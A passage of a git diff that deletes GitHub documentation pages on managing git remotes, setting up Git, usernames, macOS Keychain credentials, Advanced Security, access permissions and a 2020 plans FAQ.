origin destination -# Change remote name from 'origin' to 'destination' - -$ git remote -v -# Verify remote's new name -> destination https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (fetch) -> destination https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (push) -``` - -### Troubleshooting: Could not rename config section 'remote.[old name]' to 'remote.[new name]' - -This error means that the old remote name you typed doesn't exist. - -You can check which remotes currently exist with the `git remote -v` command: - -```shell -$ git remote -v -# View existing remotes -> origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (fetch) -> origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (push) -``` - -### Troubleshooting: Remote [new name] already exists - -This error means that the remote name you want to use already exists. To solve this, either use a different remote name, or rename the original remote. - -## Removing a remote repository - -Use the `git remote rm` command to remove a remote URL from your repository. - -The `git remote rm` command takes one argument: -* A remote name, for example, `destination` - -Removing the remote URL from your repository only unlinks the local and remote repositories. It does not delete the remote repository. - -### Example of removing a remote repository - -These examples assume you're [cloning using HTTPS](/get-started/git-basics/about-remote-repositories#cloning-with-https-urls), which is recommended. - -```shell -$ git remote -v -# View current remotes -> origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (fetch) -> origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (push) -> destination https://{% data variables.product.product_url %}/FORKER/REPOSITORY.git (fetch) -> destination https://{% data variables.product.product_url %}/FORKER/REPOSITORY.git (push) - -$ git remote rm destination -# Remove remote -$ git remote -v -# Verify it's gone -> origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (fetch) -> origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (push) -``` - -> [!NOTE] -> `git remote rm` does not delete the remote repository from the server. It simply removes the remote and its references from your local repository. - -### Troubleshooting: Could not remove config section 'remote.[name]' - -This error means that the remote you tried to delete doesn't exist: - -```shell -$ git remote rm sofake -> error: Could not remove config section 'remote.sofake' -``` - -Check that you've correctly typed the remote name. - -## Further reading - -* ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/v2/Git-Basics-Working-with-Remotes) diff --git a/content/get-started/git-basics/set-up-git.md b/content/get-started/git-basics/set-up-git.md deleted file mode 100644 index 882c185e9ad5..000000000000 --- a/content/get-started/git-basics/set-up-git.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Set up Git -redirect_from: - - /git-installation-redirect - - /linux-git-installation - - /linux-set-up-git - - /mac-git-installation - - /mac-set-up-git - - /set-up-git-redirect - - /win-git-installation - - /win-set-up-git - - /articles/set-up-git - - /github/getting-started-with-github/set-up-git - - /github/getting-started-with-github/quickstart/set-up-git - - /get-started/quickstart/set-up-git - - /get-started/getting-started-with-git/set-up-git -intro: 'At the heart of {% data variables.product.prodname_dotcom %} is an open-source version control system (VCS) called Git. Git is responsible for everything {% data variables.product.prodname_dotcom %}-related that happens locally on your computer.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Issues - - Notifications - - Accounts ---- -## Using Git - -To use Git on the command line, you will need to download, install, and configure Git on your computer. You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.prodname_dotcom %} from the command line. For more information, see [AUTOTITLE](/github-cli/github-cli/about-github-cli). - -If you want to work with Git locally, but do not want to use the command line, you can download and install the [{% data variables.product.prodname_desktop %}]({% data variables.product.desktop_link %}) client. For more information, see [AUTOTITLE](/desktop/overview/about-github-desktop). - -If you do not need to work with files locally, {% data variables.product.github %} lets you complete many Git-related actions directly in the browser, including: - -* [AUTOTITLE](/repositories/creating-and-managing-repositories/quickstart-for-repositories) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo) -* [Managing files](/repositories/working-with-files/managing-files) - -## Setting up Git - -1. [Download and install the latest version of Git](https://git-scm.com/downloads). - - > [!NOTE] - > Most Chrome OS devices from 2020 onwards now have a built-in Linux environment, which includes Git. To enable it, go to the Launcher, search for Linux, and click **Turn on**. - > - > If you are using an older Chrome OS device, another method is required: - > - > 1. Install a terminal emulator such as Termux from the Google Play Store on your Chrome OS device. - > 1. From the terminal emulator that you installed, install Git. For example, in Termux, enter `apt install git` and then type `y` when prompted. - -1. [Set your username in Git](/get-started/git-basics/setting-your-username-in-git). -1. [Set your commit email address in Git](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address). - -## Authenticating with {% data variables.product.github %} from Git - -When you connect to a {% data variables.product.github %} repository from Git, you will need to authenticate with {% data variables.product.github %} using either HTTPS or SSH. - -> [!NOTE] -> You can authenticate to {% data variables.product.github %} using {% data variables.product.prodname_cli %}, for either HTTP or SSH. For more information, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). - -### Connecting over HTTPS (recommended) - -If you clone with HTTPS, you can cache your {% data variables.product.prodname_dotcom %} credentials in Git using a credential helper. For more information, see [AUTOTITLE](/get-started/git-basics/about-remote-repositories#cloning-with-https-urls) and [AUTOTITLE](/get-started/git-basics/caching-your-github-credentials-in-git). - -### Connecting over SSH - -If you clone with SSH, you must generate SSH keys on each computer you use to push or pull from {% data variables.product.github %}. For more information, see [AUTOTITLE](/get-started/git-basics/about-remote-repositories#cloning-with-ssh-urls) and [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). - -## Next steps - -You now have Git and {% data variables.product.github %} all set up. You may now choose to create a repository where you can put your projects. Saving your code in a repository allows you to back up your code and share it around the world. - -* {% data reusables.getting-started.create-a-repository %} - -* {% data reusables.getting-started.fork-a-repository %} - -* {% data reusables.getting-started.being-social %} - -* {% data reusables.support.connect-in-the-forum-bootcamp %} diff --git a/content/get-started/git-basics/setting-your-username-in-git.md b/content/get-started/git-basics/setting-your-username-in-git.md deleted file mode 100644 index fe04e8073571..000000000000 --- a/content/get-started/git-basics/setting-your-username-in-git.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Setting your username in Git -intro: 'Git uses a username to associate commits with an identity. The Git username is not the same as your {% data variables.product.github %} username.' -redirect_from: - - /articles/setting-your-username-in-git - - /github/using-git/setting-your-username-in-git - - /github/getting-started-with-github/setting-your-username-in-git - - /github/getting-started-with-github/getting-started-with-git/setting-your-username-in-git - - /get-started/getting-started-with-git/setting-your-username-in-git -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Set your username ---- -## About Git usernames - -You can change the name that is associated with your Git commits using the `git config` command. The new name you set will be visible in any future commits you push to {% data variables.product.github %} from the command line. If you'd like to keep your real name private, you can use any text as your Git username. - -Changing the name associated with your Git commits using `git config` will only affect future commits and will not change the name used for past commits. - -## Setting your Git username for every repository on your computer - -{% data reusables.command_line.open_the_multi_os_terminal %} - -1. {% data reusables.user-settings.set_your_git_username %} - - ```shell - git config --global user.name "Mona Lisa" - ``` - -1. {% data reusables.user-settings.confirm_git_username_correct %} - - ```shell - $ git config --global user.name - > Mona Lisa - ``` - -## Setting your Git username for a single repository - -{% data reusables.command_line.open_the_multi_os_terminal %} - -1. Change the current working directory to the local repository where you want to configure the name that is associated with your Git commits. - -1. {% data reusables.user-settings.set_your_git_username %} - - ```shell - git config user.name "Mona Lisa" - ``` - -1. {% data reusables.user-settings.confirm_git_username_correct %} - - ```shell - $ git config user.name - > Mona Lisa - ``` - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address) -* ["Git Configuration" from the _Pro Git_ book](https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration) diff --git a/content/get-started/git-basics/updating-credentials-from-the-macos-keychain.md b/content/get-started/git-basics/updating-credentials-from-the-macos-keychain.md deleted file mode 100644 index 8325039ad112..000000000000 --- a/content/get-started/git-basics/updating-credentials-from-the-macos-keychain.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Updating credentials from the macOS Keychain -intro: 'You''ll need to update your saved credentials in the `git-credential-osxkeychain` helper if you change your username, password, or {% data variables.product.pat_generic %} on {% data variables.product.github %}.' -redirect_from: - - /articles/updating-credentials-from-the-osx-keychain - - /github/using-git/updating-credentials-from-the-osx-keychain - - /github/using-git/updating-credentials-from-the-macos-keychain - - /github/getting-started-with-github/updating-credentials-from-the-macos-keychain - - /github/getting-started-with-github/getting-started-with-git/updating-credentials-from-the-macos-keychain - - /get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: macOS Keychain credentials ---- - -> [!NOTE] -> Updating credentials from the macOS Keychain only applies to users who manually configured a {% data variables.product.pat_generic %} using the `osxkeychain` helper that is built-in to macOS. -> -> We recommend you either [configure SSH](/authentication/connecting-to-github-with-ssh) or upgrade to the [Git Credential Manager](/get-started/git-basics/caching-your-github-credentials-in-git) (GCM) instead. GCM can manage authentication on your behalf (no more manual {% data variables.product.pat_generic %}s) including 2FA (two-factor auth). - -{% data reusables.user-settings.password-authentication-deprecation %} - -{% ifversion ghec %} - -> [!NOTE] -> {% data reusables.enterprise-data-residency.access-domain %} - -{% endif %} - -## Updating your credentials via Keychain Access - -1. Click on the Spotlight icon (magnifying glass) on the right side of the menu bar. -1. Type `Keychain Access`, then press the Enter key to launch the app. -1. In Keychain Access, search for `{% data variables.product.product_url %}`. -1. Find the "Internet password" entry for `{% data variables.product.product_url %}`. -1. Edit or delete the entry accordingly. - -## Deleting your credentials via the command line - -Through the command line, you can use the credential helper directly to erase the keychain entry. - -```shell -$ git credential-osxkeychain erase -host={% data variables.product.product_url %} -protocol=https -> [Press Return] -``` - -If it's successful, nothing will print out. To test that it works, try and clone a private repository. If you are prompted for a password, the keychain entry was deleted. - -## Further reading - -* [AUTOTITLE](/get-started/git-basics/caching-your-github-credentials-in-git) diff --git a/content/get-started/git-basics/why-is-git-always-asking-for-my-password.md b/content/get-started/git-basics/why-is-git-always-asking-for-my-password.md deleted file mode 100644 index 2bcaa33bbbdf..000000000000 --- a/content/get-started/git-basics/why-is-git-always-asking-for-my-password.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Why is Git always asking for my password? -intro: 'If Git prompts you for a username and password every time you try to interact with GitHub, you''re probably using the HTTPS clone URL for your repository.' -redirect_from: - - /articles/why-is-git-always-asking-for-my-password - - /github/using-git/why-is-git-always-asking-for-my-password - - /github/getting-started-with-github/why-is-git-always-asking-for-my-password - - /github/getting-started-with-github/getting-started-with-git/why-is-git-always-asking-for-my-password - - /get-started/getting-started-with-git/why-is-git-always-asking-for-my-password -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Git passwords ---- -Using an HTTPS remote URL has some advantages compared with using SSH. It's easier to set up than SSH, and usually works through strict firewalls and proxies. However, it also prompts you to enter your {% data variables.product.github %} credentials every time you pull or push a repository. - -{% data reusables.user-settings.password-authentication-deprecation %} - -You can avoid being prompted for your password by configuring Git to [cache your credentials](/get-started/git-basics/caching-your-github-credentials-in-git) for you. Once you've configured credential caching, Git automatically uses your cached {% data variables.product.pat_generic %} when you pull or push a repository using HTTPS. - -## Further reading - -* [AUTOTITLE](/get-started/git-basics/about-remote-repositories) -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-authentication-to-github) -* [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent) diff --git a/content/get-started/index.md b/content/get-started/index.md deleted file mode 100644 index 26d21a849c06..000000000000 --- a/content/get-started/index.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Get started with GitHub documentation -shortTitle: Get started -intro: 'Learn how to start building, shipping, and maintaining software with {% data variables.product.prodname_dotcom %}. Explore our products, sign up for an account, and connect with the world''s largest development community.' -redirect_from: - - /categories/54/articles - - /categories/bootcamp - - /categories/32/articles - - /categories/2/articles - - /categories/organizations - - /categories/about-github - - /categories/53/articles - - /categories/setup - - /categories/getting-started-with-github - - /categories/19/articles - - /categories/using-git - - /github/using-git - - /github/getting-started-with-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -layout: product-landing -introLinks: - quickstart: /get-started/start-your-journey -featuredLinks: - startHere: - - /get-started/start-your-journey/about-github-and-git - - /get-started/learning-about-github/githubs-plans - - /get-started/onboarding/getting-started-with-your-github-account - - /get-started/onboarding/getting-started-with-github-team - - /get-started/onboarding/getting-started-with-github-enterprise-cloud - - /get-started/onboarding/getting-started-with-github-enterprise-server - - /get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github - popular: - - /get-started/start-your-journey/creating-an-account-on-github - - /get-started/start-your-journey/hello-world - - /get-started/git-basics/set-up-git - - /get-started/using-github-docs/about-versions-of-github-docs - - /get-started/learning-about-github/github-glossary - - /get-started/accessibility/keyboard-shortcuts - guideCards: - - /get-started/learning-about-github/types-of-github-accounts - - /get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github - - /get-started/using-github/troubleshooting-connectivity-problems -topics: - - Pull requests - - Issues - - Notifications - - Accounts -children: - - /start-your-journey - - /onboarding - - /using-github - - /learning-about-github - - /learning-to-code - - /accessibility - - /writing-on-github - - /exploring-projects-on-github - - /git-basics - - /using-git - - /working-with-subversion-on-github - - /exploring-integrations - - /archiving-your-github-personal-account-and-public-repositories - - /using-github-docs - - /showcase-your-expertise-with-github-certifications ---- diff --git a/content/get-started/learning-about-github/about-github-advanced-security.md b/content/get-started/learning-about-github/about-github-advanced-security.md deleted file mode 100644 index 6aaca3b727fa..000000000000 --- a/content/get-started/learning-about-github/about-github-advanced-security.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: About GitHub Advanced Security -intro: '{% data variables.product.prodname_dotcom %} makes extra security features available to customers under an {% data variables.product.prodname_advanced_security %} license.{% ifversion fpt or ghec %} These features are also enabled for public repositories.{% endif %}' -product: '{% data reusables.gated-features.ghas-ghec %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Security -redirect_from: - - /github/getting-started-with-github/about-github-advanced-security - - /github/getting-started-with-github/learning-about-github/about-github-advanced-security -shortTitle: GitHub Advanced Security ---- - -## About {% data variables.product.prodname_GH_advanced_security %} - -{% data variables.product.prodname_dotcom %} has many features that help you improve and maintain the quality of your code. Some of these are included in all plans, such as dependency graph and {% data variables.product.prodname_dependabot_alerts %}. Other security features require a {% data variables.product.prodname_GH_advanced_security %} (GHAS){% ifversion fpt or ghec %} license to run on repositories apart from public repositories on {% data variables.product.prodname_dotcom_the_website %}{% endif %}. - -{% data reusables.advanced-security.ghas-trial %} - -{% ifversion ghes %}For information about buying a license for {% data variables.product.prodname_GH_advanced_security %}, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security).{% elsif ghec %}For information about buying a license for {% data variables.product.prodname_GH_advanced_security %}, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/signing-up-for-github-advanced-security).{% elsif fpt %}To purchase a {% data variables.product.prodname_GH_advanced_security %} license, you must be using {% data variables.product.prodname_enterprise %}. For information about upgrading to {% data variables.product.prodname_enterprise %} with {% data variables.product.prodname_GH_advanced_security %}, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans) and [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security).{% endif %} - -> [!NOTE] -> If you want to use {% data variables.product.prodname_GH_advanced_security %} with Azure Repos, see [{% data variables.product.prodname_GH_advanced_security %} & Azure DevOps](https://resources.github.com/topics/github-advanced-security/) in our resources site. For documentation, see [Configure {% data variables.product.prodname_ghas_azdo %}](https://learn.microsoft.com/en-us/azure/devops/repos/security/configure-github-advanced-security-features) in Microsoft Learn. - -## About {% data variables.product.prodname_advanced_security %} features - -A {% data variables.product.prodname_GH_advanced_security %} license provides the following additional features{% ifversion fpt %} for private repositories:{% else %}:{% endif %} - -* **{% data variables.product.prodname_code_scanning_caps %}** - Search for potential security vulnerabilities and coding errors in your code using {% data variables.product.prodname_codeql %} or a third-party tool. See [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning) and [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql). - -* **{% data variables.product.prodname_codeql_cli %}** - Run {% data variables.product.prodname_codeql %} processes locally on software projects or to generate {% data variables.product.prodname_code_scanning %} results for upload to {% data variables.product.github %}. See [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/about-the-codeql-cli). - -* **{% data variables.product.prodname_secret_scanning_caps %}** - Detect secrets, for example keys and tokens, that have been checked into {% ifversion fpt %}private repositories{% else %} the repository{% endif %}. If push protection is enabled, {% data variables.product.prodname_dotcom %} also detects secrets when they are pushed to your repository. {% ifversion secret-scanning-enable-by-default-for-public-repos %}{% data variables.secret-scanning.user_alerts_caps %} and push protection are available and free of charge for all {% ifversion ghec %}user-owned {% endif %}public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %} See [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning) and [AUTOTITLE](/code-security/secret-scanning/introduction/about-push-protection). - -* **{% data variables.dependabot.custom_rules_caps %}** - {% data reusables.dependabot.dependabot-custom-rules-ghas %} - -* **Dependency review** - Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. See [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). - -{% ifversion copilot-chat-ghas-alerts %} - -With a {% data variables.product.prodname_copilot_enterprise %} license, you can also ask {% data variables.product.prodname_copilot_chat %} for help to better understand security alerts in repositories in your organization ({% data variables.product.prodname_code_scanning %}, {% data variables.product.prodname_secret_scanning %}, and {% data variables.product.prodname_dependabot_alerts %}. See [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom#asking-questions-about-alerts-from-github-advanced-security-features). - -{% endif %} - -{% ifversion fpt or ghec %} -The table below summarizes the availability of {% data variables.product.prodname_GH_advanced_security %} features for public and private repositories. - -{% rowheaders %} - -| | Public repository | Private repository
without {% data variables.product.prodname_advanced_security %} | Private repository
with {% data variables.product.prodname_advanced_security %} | -| --- | --- | --- | --- | -| Code scanning | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% data variables.product.prodname_codeql_cli %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Secret scanning | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% data variables.dependabot.custom_rules_caps %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Dependency review | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | - -{% endrowheaders %} - -{% endif %} - -For information about {% data variables.product.prodname_advanced_security %} features that are in development, see [{% data variables.product.prodname_dotcom %} public roadmap](https://github.com/github/roadmap). For an overview of all security features, see [AUTOTITLE](/code-security/getting-started/github-security-features). - -{% ifversion fpt or ghec %} -{% data variables.product.prodname_GH_advanced_security %} features are enabled for all public repositories on {% data variables.product.prodname_dotcom_the_website %}. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable these features for private and internal repositories. {% ifversion fpt %}See the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/about-github-advanced-security#enabling-advanced-security-features).{% endif %} -{% endif %} - -{% ifversion ghes or ghec %} - -## Deploying GitHub Advanced Security in your enterprise - -To learn about what you need to know to plan your {% data variables.product.prodname_GH_advanced_security %} deployment at a high level and to review the rollout phases we recommended, see [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale). - -## Enabling {% data variables.product.prodname_advanced_security %} features - -{% ifversion security-configurations %} -{% data reusables.security-configurations.enable-security-features-with-gh-config %} - -{% endif %} -{%- ifversion ghes %} -The site administrator must enable {% data variables.product.prodname_advanced_security %} for {% data variables.location.product_location %} before you can use these features. See [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise). - -Once your system is set up, you can enable and disable these features at the organization or repository level. - -{%- elsif ghec %} -For public repositories these features are permanently on and can only be disabled if you change the visibility of the project so that the code is no longer public. - -For other repositories, once you have a license for your enterprise account, you can enable and disable these features at the organization or repository level. - -{%- endif %} -See [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization) and [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository). - -If you have an enterprise account, license use for the entire enterprise is shown on your enterprise license page. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage). - -{% endif %} - -{% ifversion github-certification %} - -## About {% data variables.product.prodname_GH_advanced_security %} Certification - -You can highlight your knowledge by earning a {% data variables.product.prodname_GH_advanced_security %} certificate with {% data variables.product.prodname_certifications %}. The certification validates your expertise in vulnerability identification, workflow security, and robust security implementation. See [AUTOTITLE](/get-started/showcase-your-expertise-with-github-certifications/about-github-certifications). - -{% endif %} - -{% ifversion ghec or ghes %} - -## Further reading - -* [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise) - -{% endif %} diff --git a/content/get-started/learning-about-github/access-permissions-on-github.md b/content/get-started/learning-about-github/access-permissions-on-github.md deleted file mode 100644 index 5744c802943e..000000000000 --- a/content/get-started/learning-about-github/access-permissions-on-github.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Access permissions on GitHub -redirect_from: - - /articles/needs-to-be-written-what-can-the-different-types-of-org-team-permissions-do - - /articles/what-are-the-different-types-of-team-permissions - - /articles/what-are-the-different-access-permissions - - /articles/access-permissions-on-github - - /github/getting-started-with-github/access-permissions-on-github - - /github/getting-started-with-github/learning-about-github/access-permissions-on-github -intro: 'With roles, you can control who has access to your accounts and resources and the level of access each person has.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Permissions - - Accounts -shortTitle: Access permissions ---- - -## About access permissions on {% data variables.product.github %} - -{% data reusables.organizations.about-roles %} - -Roles work differently for different types of accounts. For more information about accounts, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). - -## Personal accounts - -A repository owned by a personal account has two permission levels: the _repository owner_ and _collaborators_. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-personal-account-repository). - -## Organization accounts - -Organization members can have _owner_{% ifversion fpt or ghec %}, _billing manager_,{% endif %} or _member_ roles. Owners have complete administrative access to your organization{% ifversion fpt or ghec %}, while billing managers can manage billing settings{% endif %}. Member is the default role for everyone else. You can manage access permissions for multiple members at a time with teams. For more information, see: -* [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization){% ifversion projects-v1 %} -* [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization){% endif %} -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) -* [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams) - -## Enterprise accounts - -{% ifversion fpt %} -{% data reusables.gated-features.enterprise-accounts %} - -For more information about permissions for enterprise accounts, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/access-permissions-on-github). -{% else %} -_Enterprise owners_ have ultimate power over the enterprise account and can take every action in the enterprise account.{% ifversion ghec or ghes %} _Billing managers_ can manage your enterprise account's billing settings.{% endif %} Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise). - -{% ifversion ghec %} -If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new personal accounts on {% data variables.product.github %} and are fully managed by the identity provider. The {% data variables.enterprise.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.enterprise.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/about-enterprise-managed-users). -{% endif %} -{% endif %} - -## Further reading - -* [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts) diff --git a/content/get-started/learning-about-github/faq-about-changes-to-githubs-plans.md b/content/get-started/learning-about-github/faq-about-changes-to-githubs-plans.md deleted file mode 100644 index 5f56cb641de4..000000000000 --- a/content/get-started/learning-about-github/faq-about-changes-to-githubs-plans.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: FAQ about changes to GitHub’s plans -intro: 'As of April 14, 2020, GitHub announced that all of the core GitHub features are now free for everyone.' -versions: - fpt: '*' - ghec: '*' -topics: - - GitHub -redirect_from: - - /github/getting-started-with-github/faq-about-changes-to-githubs-plans - - /github/getting-started-with-github/learning-about-github/faq-about-changes-to-githubs-plans -shortTitle: Changes to GitHub plans ---- -## What plans and pricing changes did GitHub announce on April 14? - -GitHub announced the following plans and pricing changes: - -* GitHub Free for organizations is immediately available and includes private repositories for unlimited users -* All organizations previously using Team for Open Source now have GitHub Free -* GitHub Free for individual developers now includes unlimited collaborators -* Organizations and individuals using GitHub Free will receive GitHub Community Support -* GitHub Pro will now include 2GB of Packages storage and 10GB of data transfer -* GitHub Pro now has a reduced monthly price of $4 -* GitHub Team now has a reduced monthly price of $4 per user -* GitHub Team no longer has a required five-seat minimum -* GitHub Team includes 3,000 Actions minutes per month for private repositories - -## How can I upgrade my plan? - -To upgrade your account's plan, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/upgrading-your-accounts-plan). - -## How can I downgrade my plan? - -To downgrade your personal account or organizations's plan, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan). - -## If I downgrade from GitHub Team or a Legacy plan to GitHub Free, what features will I lose? - -* Required reviewers in private repositories -* Protected branches in private repositories -* Code owners in private repositories -* GitHub Pages in private repositories -* Wikis in private repositories -* Multiple assignees for issues and pull requests in private repositories -* Multiple pull request reviewers in private repositories -* Draft pull requests in private repositories -* Autolinked references in private repositories -* Standard support - -## How can I create a GitHub Free or GitHub Team organization? - -If you have a GitHub account, create a new organization on our [team plan page](https://github.com/organizations/plan). If you don’t have a GitHub account, you can [create one on our homepage](https://github.com/) and you’ll be prompted to create an organization during the sign-up process. - -## How can I compare which features are in each plan? - -You can see pricing and a full list of features for each product at <{% data variables.product.pricing_url %}>. - -## How long will GitHub Free allow unlimited collaborators? - -Forever! This change is permanent. - -## I already paid for the yearly Pro or Team plan, do I get a refund for the price difference? - -Customers who are currently paying annually for Pro and Team plans and signed up before April 14 will receive a refund for a prorated amount through the end of their annual billing term. For example, if you are two months into your subscription that is billed annually, you will receive a refund for the price difference for the remaining ten months. These refunds will be processed in approximately 30 days. Once your refund is processed, a notification will be sent to the billing email. - -## What is the difference between GitHub Free for individual developers and GitHub Free for organizations? - -For details on the differences for each GitHub Free product, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans). - -## How can I get more Actions minutes if I need more than allocated in the GitHub Team plan? - -Most small teams use fewer than 3,000 Actions minutes/month, but some teams might use more. If your team needs additional minutes for private repositories, you can increase your spending limit for GitHub Actions. Actions minutes and Packages storage are still free for your public repositories. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions). - -## How do the seat limit changes affect me? - -Now that {% data variables.product.prodname_team %} has no minimum seat requirement, if you are using fewer than five seats in your organization, you can remove paid seats to reduce your bill. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan#removing-paid-seats-from-your-organization). - -## Is anything changing for teams on the GitHub Team for Open Source plan? - -If your organization account currently uses the GitHub Team for Open Source plan, you’ve been automatically moved to GitHub Free, which includes private repositories with unlimited collaborators, 2,000 Actions minutes for private repositories, and GitHub Community on Discussions. Actions minutes and Packages storage are still free for your public repositories. - -## What is GitHub Community on Discussions? - -[GitHub Community](https://github.com/community) is built to support all GitHub users on their educational journey, via Discussions. It is a resource hub, learning portal, and inspiration station, all in one. Regardless of how big or small your challenge is, all resources and information will be accessible in a true open source fashion. If you need to report spam, report abuse, or have issues with account access, you can send a message to our Support Team on https://support.github.com/. - -## How does this change affect education benefits? - -Students and teachers will continue to receive all of the benefits they get today. GitHub will continue to offer GitHub Pro as part of its [Student Developer Pack](https://education.github.com/pack) benefits to all students. Additionally, teachers will continue to have access to GitHub Team as part of the [Teacher Toolbox](https://education.github.com/toolbox). - -## How does this affect me if I currently pay by invoice? - -If you’re currently an invoice customer, email your sales representative for additional details. If you’re not sure who your sales representative is, contact your billing manager or account owner. - -## How will this impact users and organizations in regions where U.S. government sanctions are applied? - -Due to U.S. trade controls law restrictions, GitHub is unable to provide private repository services and paid services to accounts in U.S. sanctioned regions. GitHub has preserved, however, access to free public repository services. Please read about [GitHub and Trade Controls](/free-pro-team@latest/site-policy/other-site-policies/github-and-trade-controls) for more information. - -GitHub will continue advocating with U.S. regulators for the greatest possible access to free code collaboration services to developers in sanctioned regions, including free private repositories. We believe that offering those free services supports U.S. foreign policy of encouraging the free flow of information and free speech in those regions. diff --git a/content/get-started/learning-about-github/github-glossary.md b/content/get-started/learning-about-github/github-glossary.md deleted file mode 100644 index 82c64d2f1a30..000000000000 --- 